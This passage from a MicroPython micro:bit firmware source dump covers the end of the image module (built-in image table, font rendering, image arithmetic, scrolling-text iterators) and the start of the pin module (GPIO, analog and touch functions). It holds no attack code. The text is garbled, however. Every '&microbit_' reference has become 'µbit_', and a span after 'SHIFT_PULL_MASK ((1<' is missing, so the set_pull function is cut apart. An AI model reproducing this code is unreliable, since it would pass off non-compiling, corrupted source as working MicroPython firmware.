microbit_image_shift_down); mp_obj_t microbit_image_copy(mp_obj_t self_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; return self->copy(); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_image_copy_obj, microbit_image_copy); mp_obj_t microbit_image_invert(mp_obj_t self_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; return self->invert(); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_image_invert_obj, microbit_image_invert); STATIC const mp_map_elem_t microbit_image_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_width), (mp_obj_t)µbit_image_width_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_height), (mp_obj_t)µbit_image_height_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_pixel), (mp_obj_t)µbit_image_get_pixel_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_pixel), (mp_obj_t)µbit_image_set_pixel_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_shift_left), (mp_obj_t)µbit_image_shift_left_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_shift_right), (mp_obj_t)µbit_image_shift_right_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_shift_up), (mp_obj_t)µbit_image_shift_up_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_shift_down), (mp_obj_t)µbit_image_shift_down_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_copy), (mp_obj_t)µbit_image_copy_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_crop), (mp_obj_t)µbit_image_crop_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_invert), (mp_obj_t)µbit_image_invert_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_fill), (mp_obj_t)µbit_image_fill_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_blit), (mp_obj_t)µbit_image_blit_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_HEART), (mp_obj_t)µbit_const_image_heart_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_HEART_SMALL), (mp_obj_t)µbit_const_image_heart_small_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_HAPPY), (mp_obj_t)µbit_const_image_happy_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SMILE), (mp_obj_t)µbit_const_image_smile_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SAD), (mp_obj_t)µbit_const_image_sad_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CONFUSED), (mp_obj_t)µbit_const_image_confused_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ANGRY), (mp_obj_t)µbit_const_image_angry_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ASLEEP), (mp_obj_t)µbit_const_image_asleep_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SURPRISED), (mp_obj_t)µbit_const_image_surprised_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SILLY), (mp_obj_t)µbit_const_image_silly_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_FABULOUS), (mp_obj_t)µbit_const_image_fabulous_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_MEH), (mp_obj_t)µbit_const_image_meh_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_YES), (mp_obj_t)µbit_const_image_yes_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_NO), (mp_obj_t)µbit_const_image_no_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK12), (mp_obj_t)µbit_const_image_clock12_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK1), (mp_obj_t)µbit_const_image_clock1_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK2), (mp_obj_t)µbit_const_image_clock2_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK3), (mp_obj_t)µbit_const_image_clock3_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK4), (mp_obj_t)µbit_const_image_clock4_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK5), (mp_obj_t)µbit_const_image_clock5_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK6), (mp_obj_t)µbit_const_image_clock6_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK7), (mp_obj_t)µbit_const_image_clock7_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK8), (mp_obj_t)µbit_const_image_clock8_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK9), (mp_obj_t)µbit_const_image_clock9_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK10), (mp_obj_t)µbit_const_image_clock10_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK11), (mp_obj_t)µbit_const_image_clock11_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_N), (mp_obj_t)µbit_const_image_arrow_n_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_NE), (mp_obj_t)µbit_const_image_arrow_ne_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_E), (mp_obj_t)µbit_const_image_arrow_e_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_SE), (mp_obj_t)µbit_const_image_arrow_se_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_S), (mp_obj_t)µbit_const_image_arrow_s_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_SW), (mp_obj_t)µbit_const_image_arrow_sw_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_W), (mp_obj_t)µbit_const_image_arrow_w_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_NW), (mp_obj_t)µbit_const_image_arrow_nw_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_TRIANGLE), (mp_obj_t)µbit_const_image_triangle_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_TRIANGLE_LEFT), (mp_obj_t)µbit_const_image_triangle_left_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CHESSBOARD), (mp_obj_t)µbit_const_image_chessboard_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_DIAMOND), (mp_obj_t)µbit_const_image_diamond_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_DIAMOND_SMALL), (mp_obj_t)µbit_const_image_diamond_small_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SQUARE), (mp_obj_t)µbit_const_image_square_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SQUARE_SMALL), (mp_obj_t)µbit_const_image_square_small_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_RABBIT), (mp_obj_t)µbit_const_image_rabbit }, { MP_OBJ_NEW_QSTR(MP_QSTR_COW), (mp_obj_t)µbit_const_image_cow }, { MP_OBJ_NEW_QSTR(MP_QSTR_MUSIC_CROTCHET), (mp_obj_t)µbit_const_image_music_crotchet_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_MUSIC_QUAVER), (mp_obj_t)µbit_const_image_music_quaver_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_MUSIC_QUAVERS), (mp_obj_t)µbit_const_image_music_quavers_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_PITCHFORK), (mp_obj_t)µbit_const_image_pitchfork_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_XMAS), (mp_obj_t)µbit_const_image_xmas_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_PACMAN), (mp_obj_t)µbit_const_image_pacman_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_TARGET), (mp_obj_t)µbit_const_image_target_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ALL_CLOCKS), (mp_obj_t)µbit_const_image_all_clocks_tuple_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ALL_ARROWS), (mp_obj_t)µbit_const_image_all_arrows_tuple_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_TSHIRT), (mp_obj_t)µbit_const_image_tshirt_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ROLLERSKATE), (mp_obj_t)µbit_const_image_rollerskate_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_DUCK), (mp_obj_t)µbit_const_image_duck_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_HOUSE), (mp_obj_t)µbit_const_image_house_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_TORTOISE), (mp_obj_t)µbit_const_image_tortoise_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_BUTTERFLY), (mp_obj_t)µbit_const_image_butterfly_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_STICKFIGURE), (mp_obj_t)µbit_const_image_stickfigure_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_GHOST), (mp_obj_t)µbit_const_image_ghost_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SWORD), (mp_obj_t)µbit_const_image_sword_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_GIRAFFE), (mp_obj_t)µbit_const_image_giraffe_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SKULL), (mp_obj_t)µbit_const_image_skull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_UMBRELLA), (mp_obj_t)µbit_const_image_umbrella_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_SNAKE), (mp_obj_t)µbit_const_image_snake_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_image_locals_dict, microbit_image_locals_dict_table); #define THE_FONT MicroBitFont::defaultFont #define ASCII_START 32 #define ASCII_END 126 STATIC const unsigned char *get_font_data_from_char(char c) { if (c < ASCII_START || c > ASCII_END) { c = '?'; } int offset = (c-ASCII_START) * 5; return THE_FONT + offset; } STATIC mp_int_t get_pixel_from_font_data(const unsigned char *data, int x, int y) { /* The following logic belongs in MicroBitFont */ return ((data[y]>>(4-x))&1); } void microbit_image_set_from_char(greyscale_t *img, char c) { const unsigned char *data = get_font_data_from_char(c); for (int x = 0; x < 5; ++x) { for (int y = 0; y < 5; ++y) { img->setPixelValue(x, y, get_pixel_from_font_data(data, x, y)*MAX_BRIGHTNESS); } } } microbit_image_obj_t *microbit_image_for_char(char c) { greyscale_t *result = greyscale_new(5,5); microbit_image_set_from_char(result, c); return (microbit_image_obj_t *)result; } microbit_image_obj_t *microbit_image_dim(microbit_image_obj_t *lhs, mp_float_t fval) { if (fval < 0) mp_raise_ValueError("brightness multiplier must not be negative"); greyscale_t *result = greyscale_new(lhs->width(), lhs->height()); for (int x = 0; x < lhs->width(); ++x) { for (int y = 0; y < lhs->width(); ++y) { int val = min((int)lhs->getPixelValue(x,y)*fval+0.5, MAX_BRIGHTNESS); result->setPixelValue(x, y, val); } } return (microbit_image_obj_t *)result; } microbit_image_obj_t *microbit_image_sum(microbit_image_obj_t *lhs, microbit_image_obj_t *rhs, bool add) { mp_int_t h = lhs->height(); mp_int_t w = lhs->width(); if (rhs->height() != h || lhs->width() != w) { mp_raise_ValueError("images must be the same size"); } greyscale_t *result = greyscale_new(w, h); for (int x = 0; x < w; ++x) { for (int y = 0; y < h; ++y) { int val; int lval = lhs->getPixelValue(x,y); int rval = rhs->getPixelValue(x,y); if (add) val = min(lval + rval, MAX_BRIGHTNESS); else val = max(0, lval - rval); result->setPixelValue(x, y, val); } } return (microbit_image_obj_t *)result; } STATIC mp_obj_t image_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { if (mp_obj_get_type(lhs_in) != µbit_image_type) { return MP_OBJ_NULL; // op not supported } microbit_image_obj_t *lhs = (microbit_image_obj_t *)lhs_in; switch(op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_SUBTRACT: break; case MP_BINARY_OP_MULTIPLY: return microbit_image_dim(lhs, mp_obj_get_float(rhs_in)); case MP_BINARY_OP_TRUE_DIVIDE: return microbit_image_dim(lhs, 1.0/mp_obj_get_float(rhs_in)); default: return MP_OBJ_NULL; // op not supported } if (mp_obj_get_type(rhs_in) != µbit_image_type) { return MP_OBJ_NULL; // op not supported } return microbit_image_sum(lhs, (microbit_image_obj_t *)rhs_in, op == MP_BINARY_OP_ADD); } const mp_obj_type_t microbit_image_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitImage, .print = microbit_image_print, .make_new = microbit_image_make_new, .call = NULL, .unary_op = NULL, .binary_op = image_binary_op, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_image_locals_dict, }; typedef struct _scrolling_string_t { mp_obj_base_t base; char const *str; mp_uint_t len; mp_obj_t ref; bool monospace; bool repeat; } scrolling_string_t; typedef struct _scrolling_string_iterator_t { mp_obj_base_t base; mp_obj_t ref; greyscale_t *img; char const *next_char; char const *start; char const *end; uint8_t offset; uint8_t offset_limit; bool monospace; bool repeat; char right; } scrolling_string_iterator_t; extern const mp_obj_type_t microbit_scrolling_string_type; extern const mp_obj_type_t microbit_scrolling_string_iterator_type; mp_obj_t scrolling_string_image_iterable(const char* str, mp_uint_t len, mp_obj_t ref, bool monospace, bool repeat) { scrolling_string_t *result = m_new_obj(scrolling_string_t); result->base.type = µbit_scrolling_string_type; result->str = str; result->len = len; result->ref = ref; result->monospace = monospace; result->repeat = repeat; return result; } STATIC int font_column_non_blank(const unsigned char *font_data, unsigned int col) { for (int y = 0; y < 5; ++y) { if (get_pixel_from_font_data(font_data, col, y)) { return 1; } } return 0; } /* Not strictly the rightmost non-blank column, but the rightmost in columns 2,3 or 4. */ STATIC unsigned int rightmost_non_blank_column(const unsigned char *font_data) { if (font_column_non_blank(font_data, 4)) { return 4; } if (font_column_non_blank(font_data, 3)) { return 3; } return 2; } static void restart(scrolling_string_iterator_t *iter) { iter->next_char = iter->start; iter->offset = 0; if (iter->start < iter->end) { iter->right = *iter->next_char; if (iter->monospace) { iter->offset_limit = 5; } else { iter->offset_limit = rightmost_non_blank_column(get_font_data_from_char(iter->right)) + 1; } } else { iter->right = ' '; iter->offset_limit = 5; } } STATIC mp_obj_t get_microbit_scrolling_string_iter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) { (void)iter_buf; // not big enough to hold scrolling_string_iterator_t scrolling_string_t *str = (scrolling_string_t *)o_in; scrolling_string_iterator_t *result = m_new_obj(scrolling_string_iterator_t); result->base.type = µbit_scrolling_string_iterator_type; result->img = greyscale_new(5,5); result->start = str->str; result->ref = str->ref; result->monospace = str->monospace; result->end = result->start + str->len; result->repeat = str->repeat; restart(result); return result; } STATIC mp_obj_t microbit_scrolling_string_iter_next(mp_obj_t o_in) { scrolling_string_iterator_t *iter = (scrolling_string_iterator_t *)o_in; if (iter->next_char == iter->end && iter->offset == 5) { if (iter->repeat) { restart(iter); iter->img->clear(); } else { return MP_OBJ_STOP_ITERATION; } } for (int x = 0; x < 4; x++) { for (int y = 0; y < 5; y++) { iter->img->setPixelValue(x, y, iter->img->getPixelValue(x+1, y)); } } for (int y = 0; y < 5; y++) { iter->img->setPixelValue(4, y, 0); } const unsigned char *font_data; if (iter->offset < iter->offset_limit) { font_data = get_font_data_from_char(iter->right); for (int y = 0; y < 5; ++y) { int pix = get_pixel_from_font_data(font_data, iter->offset, y)*MAX_BRIGHTNESS; iter->img->setPixelValue(4, y, pix); } } else if (iter->offset == iter->offset_limit) { ++iter->next_char; if (iter->next_char == iter->end) { iter->right = ' '; iter->offset_limit = 5; iter->offset = 0; } else { iter->right = *iter->next_char; font_data = get_font_data_from_char(iter->right); if (iter->monospace) { iter->offset = -1; iter->offset_limit = 5; } else { iter->offset = -font_column_non_blank(font_data, 0); iter->offset_limit = rightmost_non_blank_column(font_data)+1; } } } ++iter->offset; return iter->img; } const mp_obj_type_t microbit_scrolling_string_type = { { &mp_type_type }, .name = MP_QSTR_ScrollingString, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = get_microbit_scrolling_string_iter, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = NULL, }; const mp_obj_type_t microbit_scrolling_string_iterator_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = mp_identity_getiter, .iternext = microbit_scrolling_string_iter_next, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = NULL, }; /** Facade types to present a string as a sequence of images. * These are necessary to avoid allocation during iteration, * which may happen in interrupt handlers. */ typedef struct _string_image_facade_t { mp_obj_base_t base; mp_obj_t string; greyscale_t *image; } string_image_facade_t; static mp_obj_t string_image_facade_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value) { if (value == MP_OBJ_SENTINEL) { // Fill in image string_image_facade_t *self = (string_image_facade_t *)self_in; mp_uint_t len; const char *text = mp_obj_str_get_data(self->string, &len); mp_uint_t index = mp_get_index(self->base.type, len, index_in, false); microbit_image_set_from_char(self->image, text[index]); return self->image; } else { return MP_OBJ_NULL; // op not supported } } static mp_obj_t facade_unary_op(mp_uint_t op, mp_obj_t self_in) { string_image_facade_t *self = (string_image_facade_t *)self_in; switch (op) { case MP_UNARY_OP_LEN: return mp_obj_len(self->string); default: return MP_OBJ_NULL; // op not supported } } static mp_obj_t microbit_facade_iterator(mp_obj_t iterable_in, mp_obj_iter_buf_t *iter_buf); const mp_obj_type_t string_image_facade_type = { { &mp_type_type }, .name = MP_QSTR_Facade, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = facade_unary_op, .binary_op = NULL, .attr = NULL, .subscr = string_image_facade_subscr, .getiter = microbit_facade_iterator, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, NULL }; typedef struct _facade_iterator_t { mp_obj_base_t base; mp_obj_t string; mp_uint_t index; greyscale_t *image; } facade_iterator_t; mp_obj_t microbit_string_facade(mp_obj_t string) { string_image_facade_t *result = m_new_obj(string_image_facade_t); result->base.type = &string_image_facade_type; result->string = string; result->image = greyscale_new(5,5); return result; } static mp_obj_t microbit_facade_iter_next(mp_obj_t iter_in) { facade_iterator_t *iter = (facade_iterator_t *)iter_in; mp_uint_t len; const char *text = mp_obj_str_get_data(iter->string, &len); if (iter->index >= len) { return MP_OBJ_STOP_ITERATION; } microbit_image_set_from_char(iter->image, text[iter->index]); iter->index++; return iter->image; } const mp_obj_type_t microbit_facade_iterator_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = mp_identity_getiter, .iternext = microbit_facade_iter_next, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, NULL }; static mp_obj_t microbit_facade_iterator(mp_obj_t iterable_in, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(facade_iterator_t) <= sizeof(mp_obj_iter_buf_t)); facade_iterator_t *result = (facade_iterator_t*)iter_buf; string_image_facade_t *iterable = (string_image_facade_t *)iterable_in; result->base.type = µbit_facade_iterator_type; result->string = iterable->string; result->image = iterable->image; result->index = 0; return result; } } ================================================ FILE: micropython/source/microbit/microbitpin.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "MicroBitPin.h" extern "C" { #include "nrf_gpio.h" #include "py/runtime.h" #include "py/mphal.h" #include "lib/pwm.h" #include "microbit/modmicrobit.h" const microbit_pin_obj_t microbit_p0_obj = {{µbit_touch_pin_type}, 0, MICROBIT_PIN_P0, MODE_UNUSED}; const microbit_pin_obj_t microbit_p1_obj = {{µbit_touch_pin_type}, 1, MICROBIT_PIN_P1, MODE_UNUSED}; const microbit_pin_obj_t microbit_p2_obj = {{µbit_touch_pin_type}, 2, MICROBIT_PIN_P2, MODE_UNUSED}; const microbit_pin_obj_t microbit_p3_obj = {{µbit_ad_pin_type}, 3, MICROBIT_PIN_P3, MODE_DISPLAY}; const microbit_pin_obj_t microbit_p4_obj = {{µbit_ad_pin_type}, 4, MICROBIT_PIN_P4, MODE_DISPLAY}; const microbit_pin_obj_t microbit_p5_obj = {{µbit_dig_pin_type}, 5, MICROBIT_PIN_P5, MODE_BUTTON}; const microbit_pin_obj_t microbit_p6_obj = {{µbit_dig_pin_type}, 6, MICROBIT_PIN_P6, MODE_DISPLAY}; const microbit_pin_obj_t microbit_p7_obj = {{µbit_dig_pin_type}, 7, MICROBIT_PIN_P7, MODE_DISPLAY}; const microbit_pin_obj_t microbit_p8_obj = {{µbit_dig_pin_type}, 8, MICROBIT_PIN_P8, MODE_UNUSED}; const microbit_pin_obj_t microbit_p9_obj = {{µbit_dig_pin_type}, 9, MICROBIT_PIN_P9, MODE_DISPLAY}; const microbit_pin_obj_t microbit_p10_obj = {{µbit_ad_pin_type}, 10, MICROBIT_PIN_P10, MODE_DISPLAY}; const microbit_pin_obj_t microbit_p11_obj = {{µbit_dig_pin_type}, 11, MICROBIT_PIN_P11, MODE_BUTTON}; const microbit_pin_obj_t microbit_p12_obj = {{µbit_dig_pin_type}, 12, MICROBIT_PIN_P12, MODE_UNUSED}; const microbit_pin_obj_t microbit_p13_obj = {{µbit_dig_pin_type}, 13, MICROBIT_PIN_P13, MODE_UNUSED}; const microbit_pin_obj_t microbit_p14_obj = {{µbit_dig_pin_type}, 14, MICROBIT_PIN_P14, MODE_UNUSED}; const microbit_pin_obj_t microbit_p15_obj = {{µbit_dig_pin_type}, 15, MICROBIT_PIN_P15, MODE_UNUSED}; const microbit_pin_obj_t microbit_p16_obj = {{µbit_dig_pin_type}, 16, MICROBIT_PIN_P16, MODE_UNUSED}; const microbit_pin_obj_t microbit_p19_obj = {{µbit_dig_pin_type}, 19, MICROBIT_PIN_P19, MODE_I2C}; const microbit_pin_obj_t microbit_p20_obj = {{µbit_dig_pin_type}, 20, MICROBIT_PIN_P20, MODE_I2C}; static mp_obj_t microbit_pin_get_mode_func(mp_obj_t self_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; return MP_OBJ_NEW_QSTR(microbit_pin_get_mode(self)->name); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_get_mode_obj, microbit_pin_get_mode_func); mp_obj_t microbit_pin_write_digital(mp_obj_t self_in, mp_obj_t value_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; int val = mp_obj_get_int(value_in); if (val >> 1) { mp_raise_ValueError("value must be 0 or 1"); } if (microbit_obj_pin_acquire(self, microbit_pin_mode_write_digital)) { nrf_gpio_cfg_output(self->name); } if (val) nrf_gpio_pin_set(self->name); else nrf_gpio_pin_clear(self->name); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_write_digital_obj, microbit_pin_write_digital); mp_obj_t microbit_pin_read_digital(mp_obj_t self_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; if (microbit_obj_pin_acquire(self, microbit_pin_mode_read_digital)) { nrf_gpio_cfg_input(self->name, NRF_GPIO_PIN_PULLDOWN); } return mp_obj_new_int(nrf_gpio_pin_read(self->name)); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_read_digital_obj, microbit_pin_read_digital); #define SHIFT_PULL_MASK ((1<name, (nrf_gpio_pin_pull_t)pull); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_set_pull_obj, microbit_pin_set_pull); #define PULL_MASK (NRF_GPIO_PIN_PULLDOWN | NRF_GPIO_PIN_NOPULL | NRF_GPIO_PIN_PULLUP) mp_obj_t microbit_pin_get_pull(mp_obj_t self_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; const microbit_pinmode_t *mode = microbit_pin_get_mode(self); /* Pull only applies in an read digital mode (and button mode behaves like that too) */ if (mode != microbit_pin_mode_read_digital && mode != microbit_pin_mode_button) { pinmode_error(self); } uint32_t pull = (NRF_GPIO->PIN_CNF[self->name] >> GPIO_PIN_CNF_PULL_Pos) & PULL_MASK; return mp_obj_new_int(pull); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_get_pull_obj, microbit_pin_get_pull); mp_obj_t microbit_pin_write_analog(mp_obj_t self_in, mp_obj_t value_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; int set_value; if (mp_obj_is_float(value_in)) { mp_float_t val = mp_obj_get_float(value_in); set_value = val+0.5; } else { set_value = mp_obj_get_int(value_in); } if (set_value < 0 || set_value > MICROBIT_PIN_MAX_OUTPUT) { mp_raise_ValueError("value must be between 0 and 1023"); } if (microbit_obj_pin_acquire(self, microbit_pin_mode_write_analog)) { nrf_gpio_cfg_output(self->name); } pwm_set_duty_cycle(self->name, set_value); if (set_value == 0) microbit_obj_pin_acquire(self, microbit_pin_mode_unused); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_write_analog_obj, microbit_pin_write_analog); mp_obj_t microbit_pin_read_analog(mp_obj_t self_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; microbit_obj_pin_acquire(self, microbit_pin_mode_unused); analogin_t obj; analogin_init(&obj, (PinName)self->name); int val = analogin_read_u16(&obj); NRF_ADC->ENABLE = ADC_ENABLE_ENABLE_Disabled; return mp_obj_new_int(val); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_read_analog_obj, microbit_pin_read_analog); mp_obj_t microbit_pin_set_analog_period(mp_obj_t self_in, mp_obj_t period_in) { (void)self_in; int err = pwm_set_period_us(mp_obj_get_int(period_in)*1000); if (err) { mp_raise_ValueError("invalid period"); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_set_analog_period_obj, microbit_pin_set_analog_period); mp_obj_t microbit_pin_set_analog_period_microseconds(mp_obj_t self_in, mp_obj_t period_in) { (void)self_in; int err = pwm_set_period_us(mp_obj_get_int(period_in)); if (err) { mp_raise_ValueError("invalid period"); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_set_analog_period_microseconds_obj, microbit_pin_set_analog_period_microseconds); mp_obj_t microbit_pin_get_analog_period_microseconds(mp_obj_t self_in) { (void)self_in; int32_t period = pwm_get_period_us(); return mp_obj_new_int(period); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_get_analog_period_microseconds_obj, microbit_pin_get_analog_period_microseconds); mp_obj_t microbit_pin_is_touched(mp_obj_t self_in) { microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in; const microbit_pinmode_t *mode = microbit_pin_get_mode(self); if (mode != microbit_pin_mode_touch && mode != microbit_pin_mode_button) { microbit_obj_pin_acquire(self, microbit_pin_mode_touch); nrf_gpio_cfg_input(self->name, NRF_GPIO_PIN_NOPULL); } /* Pin is touched if it is low after debouncing */ return mp_obj_new_bool(!microbit_pin_high_debounced(self)); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_is_touched_obj, microbit_pin_is_touched); #define PULL_CONSTANTS \ { MP_OBJ_NEW_QSTR(MP_QSTR_PULL_UP), MP_OBJ_NEW_SMALL_INT(NRF_GPIO_PIN_PULLUP) }, \ { MP_OBJ_NEW_QSTR(MP_QSTR_PULL_DOWN), MP_OBJ_NEW_SMALL_INT(NRF_GPIO_PIN_PULLDOWN) }, \ { MP_OBJ_NEW_QSTR(MP_QSTR_NO_PULL), MP_OBJ_NEW_SMALL_INT(NRF_GPIO_PIN_NOPULL) } STATIC const mp_map_elem_t microbit_dig_pin_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_write_digital), (mp_obj_t)µbit_pin_write_digital_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read_digital), (mp_obj_t)µbit_pin_read_digital_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write_analog), (mp_obj_t)µbit_pin_write_analog_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period), (mp_obj_t)µbit_pin_set_analog_period_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period_microseconds), (mp_obj_t)µbit_pin_set_analog_period_microseconds_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_analog_period_microseconds), (mp_obj_t)µbit_pin_get_analog_period_microseconds_obj }, PULL_CONSTANTS, { MP_OBJ_NEW_QSTR(MP_QSTR_get_pull),(mp_obj_t)µbit_pin_get_pull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_pull),(mp_obj_t)µbit_pin_set_pull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_mode), (mp_obj_t)µbit_pin_get_mode_obj }, }; STATIC const mp_map_elem_t microbit_ann_pin_locals_dict_table[] = { { 